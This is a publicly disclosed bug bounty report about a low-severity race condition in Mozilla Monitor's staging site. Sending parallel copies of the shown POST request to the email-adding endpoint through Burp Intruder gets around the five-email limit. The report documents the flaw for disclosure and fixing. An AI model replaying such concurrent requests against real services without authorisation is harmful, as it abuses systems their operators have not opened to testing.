HexBrain

Mozilla · Report #1913309

Race condition leads to add more than 5 email at Data breaches monitor system at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net

Validstatus
lowseverity
50upvotes
18 Oct 2024disclosed

Summary

A race condition vulnerability is identified in Mozilla Monitor. The application is designed to limit users to adding a maximum of 5 email addresses for monitoring potential data breaches. However, due to the race condition, it is possible to bypass this restriction and add more than the intended limit of 5 email addresses. This vulnerability is exploited by rapidly sending multiple requests to add email addresses, taking advantage of the system's inability to properly synchronize these concurrent operations.

How it was found

Summary:

Hii

at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net we can add emails for the monitor to check this are in data breach or not here have add email for the monitor limit a 5 we can't add more than 5 email

█████

Steps To Reproduce:

POST /api/v1/user/email HTTP/2
Host: stage.firefoxmonitor.nonprod.cloudops.mozgcp.net
Cookie: connect.sid=█████; _ga_CXG8K4KW4P=GS1.1.1679333065.1.1.1679336292.0.0.0; _ga=GA1.1.518394987.1679333065
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net/user/settings
Content-Type: application/json
X-Csrf-Token: 0787d9f55701a244aa8f68401f2dc6aebb55a1b83ee2930743ba1324314b5c2cb87fafa7bac74afd8d4660feff2ce33d5b38fb949478c5b9f32430e863ced6b4
Content-Length: 33
Origin: https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: same-origin
Sec-Fetch-Site: same-origin
X-Pwnfox-Color: blue
Te: trailers

{"email":"████████"}
  • send this to intruder -> add email list and start the attack

  • at the end you will able to add more than 5 emails

███

Impact

Race condition leads to add more than 5 email at Data breaches monitor system at https://stage.firefoxmonitor.nonprod.cloudops.mozgcp.net

thanks @sushantdh0pat

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original